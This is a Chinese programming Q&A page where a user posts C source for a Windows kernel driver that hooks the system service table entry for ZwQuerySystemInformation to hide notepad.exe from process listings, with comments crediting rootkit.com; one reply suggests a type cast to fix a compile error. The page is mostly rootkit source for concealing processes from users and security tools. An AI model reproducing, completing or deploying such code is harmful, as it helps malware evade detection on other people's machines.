1. #include "ntddk.h"
  2. #define BOOL int
  3. #pragma pack(1)
  4. typedef struct ServiceDescriptorEntry {
  5. unsigned int *ServiceTableBase;
  6. unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
  7. unsigned int NumberOfServices;
  8. unsigned char *ParamTableBase;
  9. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
  10. #pragma pack()
  11. __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  12. //获得SSDT基址宏
  13. #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
  14. //获得函数在SSDT中的索引宏
  15. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  16. //调换自己的hook函数与原系统函数的地址
  17. #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
  18. _Orig = (PVOID)InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  19. //卸载hook函数
  20. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
  21. InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  22. PMDL g_pmdlSystemCall;
  23. PVOID *MappedSystemCallTable;
  24. //以下为隐藏进程用的结构
  25. struct _SYSTEM_THREADS
  26. {
  27. LARGE_INTEGER KernelTime;
  28. LARGE_INTEGER UserTime;
  29. LARGE_INTEGER CreateTime;
  30. ULONG WaitTime;
  31. PVOID StartAddress;
  32. CLIENT_ID ClientIs;
  33. KPRIORITY Priority;
  34. KPRIORITY BasePriority;
  35. ULONG ContextSwitchCount;
  36. ULONG ThreadState;
  37. KWAIT_REASON WaitReason;
  38. };
  39. struct _SYSTEM_PROCESSES
  40. {
  41. ULONG NextEntryDelta;
  42. ULONG ThreadCount;
  43. ULONG Reserved[6];
  44. LARGE_INTEGER CreateTime;
  45. LARGE_INTEGER UserTime;
  46. LARGE_INTEGER KernelTime;
  47. UNICODE_STRING ProcessName;
  48. KPRIORITY BasePriority;
  49. ULONG ProcessId;
  50. ULONG InheritedFromProcessId;
  51. ULONG HandleCount;
  52. ULONG Reserved2[2];
  53. VM_COUNTERS VmCounters;
  54. IO_COUNTERS IoCounters; //windows 2000 only
  55. struct _SYSTEM_THREADS Threads[1];
  56. };
  57. // Added by Creative of rootkit.com
  58. struct _SYSTEM_PROCESSOR_TIMES
  59. {
  60. LARGE_INTEGER IdleTime;
  61. LARGE_INTEGER KernelTime;
  62. LARGE_INTEGER UserTime;
  63. LARGE_INTEGER DpcTime;
  64. LARGE_INTEGER InterruptTime;
  65. ULONG InterruptCount;
  66. };
  67. extern "C"NTSYSAPI
  68. NTSTATUS
  69. NTAPI ZwQuerySystemInformation(
  70. IN ULONG SystemInformationClass,
  71. IN PVOID SystemInformation,
  72. IN ULONG SystemInformationLength,
  73. OUT PULONG ReturnLength);
  74. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
  75. ULONG SystemInformationCLass,
  76. PVOID SystemInformation,
  77. ULONG SystemInformationLength,
  78. PULONG ReturnLength
  79. );
  80. ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
  81. LARGE_INTEGER m_UserTime;
  82. LARGE_INTEGER m_KernelTime;
  83. //我们的hook函数,过滤掉notepad.exe的进程
  84. NTSTATUS NewZwQuerySystemInformation(
  85. IN ULONG SystemInformationClass,
  86. IN PVOID SystemInformation,
  87. IN ULONG SystemInformationLength,
  88. OUT PULONG ReturnLength)
  89. {
  90. NTSTATUS ntStatus;
  91. ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
  92. SystemInformationClass,
  93. SystemInformation,
  94. SystemInformationLength,
  95. ReturnLength );
  96. if( NT_SUCCESS(ntStatus))
  97. {
  98. // Asking for a file and directory listing
  99. if(SystemInformationClass == 5)
  100. {
  101. // 列举系统进程链表
  102. struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
  103. struct _SYSTEM_PROCESSES *prev = NULL;
  104. while(curr)
  105. {
  106. if (curr->ProcessName.Buffer != NULL)
  107. {
  108. if(0 == memcmp(curr->ProcessName.Buffer, L"notepad.exe", 22))
  109. {
  110. // m_UserTime.QuadPart += curr->UserTime.QuadPart;
  111. // m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
  112. if(prev) // Middle or Last entry
  113. {
  114. if(curr->NextEntryDelta)
  115. prev->NextEntryDelta += curr->NextEntryDelta;
  116. else // we are last, so make prev the end
  117. prev->NextEntryDelta = 0;
  118. }
  119. else
  120. {
  121. if(curr->NextEntryDelta)
  122. {
  123. // we are first in the list, so move it forward
  124. SystemInformation =(char *)SystemInformation+ curr->NextEntryDelta;
  125. }
  126. else // 唯一的进程
  127. SystemInformation = NULL;
  128. }
  129. }
  130. }
  131. else // Idle process入口
  132. {
  133. // 把_root_进程的时间加给Idle进程,Idle称空闲时间
  134. // curr->UserTime.QuadPart += m_UserTime.QuadPart;
  135. // curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
  136. // 重设时间,为下一次过滤
  137. // m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
  138. }
  139. prev = curr;
  140. if(curr->NextEntryDelta) curr = curr+curr->NextEntryDelta;
  141. }
  142. }
  143. }
  144. return ntStatus;
  145. }
  146. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  147. {
  148. DbgPrint("ROOTKIT: OnUnload called\n");
  149. // 卸载hook
  150. UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
  151. // 解索并释放MDL
  152. if(g_pmdlSystemCall)
  153. {
  154. MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  155. IoFreeMdl(g_pmdlSystemCall);
  156. }
  157. }
  158. NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
  159. IN PUNICODE_STRING theRegistryPath)
  160. {
  161. DbgPrint("ROOTKIT: Start\n");
  162. theDriverObject->DriverUnload = OnUnload;
  163. // 初始化全局时间为零
  164. // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
  165. m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
  166. OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
  167. g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); // 储存旧的函数地址
  168. if(!g_pmdlSystemCall)
  169. {
  170. return STATUS_UNSUCCESSFUL;
  171. }
  172. MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的Flags属性为可写,既然可写当然可读,可执行
  173. g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  174. MappedSystemCallTable =(PVOID*) MmMapLockedPages(g_pmdlSystemCall, KernelMode); // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了
  175. HOOK_SYSCALL(ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
  176. return STATUS_SUCCESS;
  177. }
上传的附件
你的回答被采纳后将获得: 3点积分 (将会扣除手续费1点积分。)

keyboard_arrow_left上一篇 : 可以问一下站内那个基于Java的办公自动化系统怎么导入与运行吗 课内资源怎么用vs2019打开运行啊???我这调式失败了 : 下一篇keyboard_arrow_right

1个回答

Tattoo
2020-02-17 11:22:24

感觉意思是无法从 PVOID 类型转换为 ZWQUERYSYSTEMINFORMATION 类型;
解决方法:尝试下类型强制转换

精彩评论

eject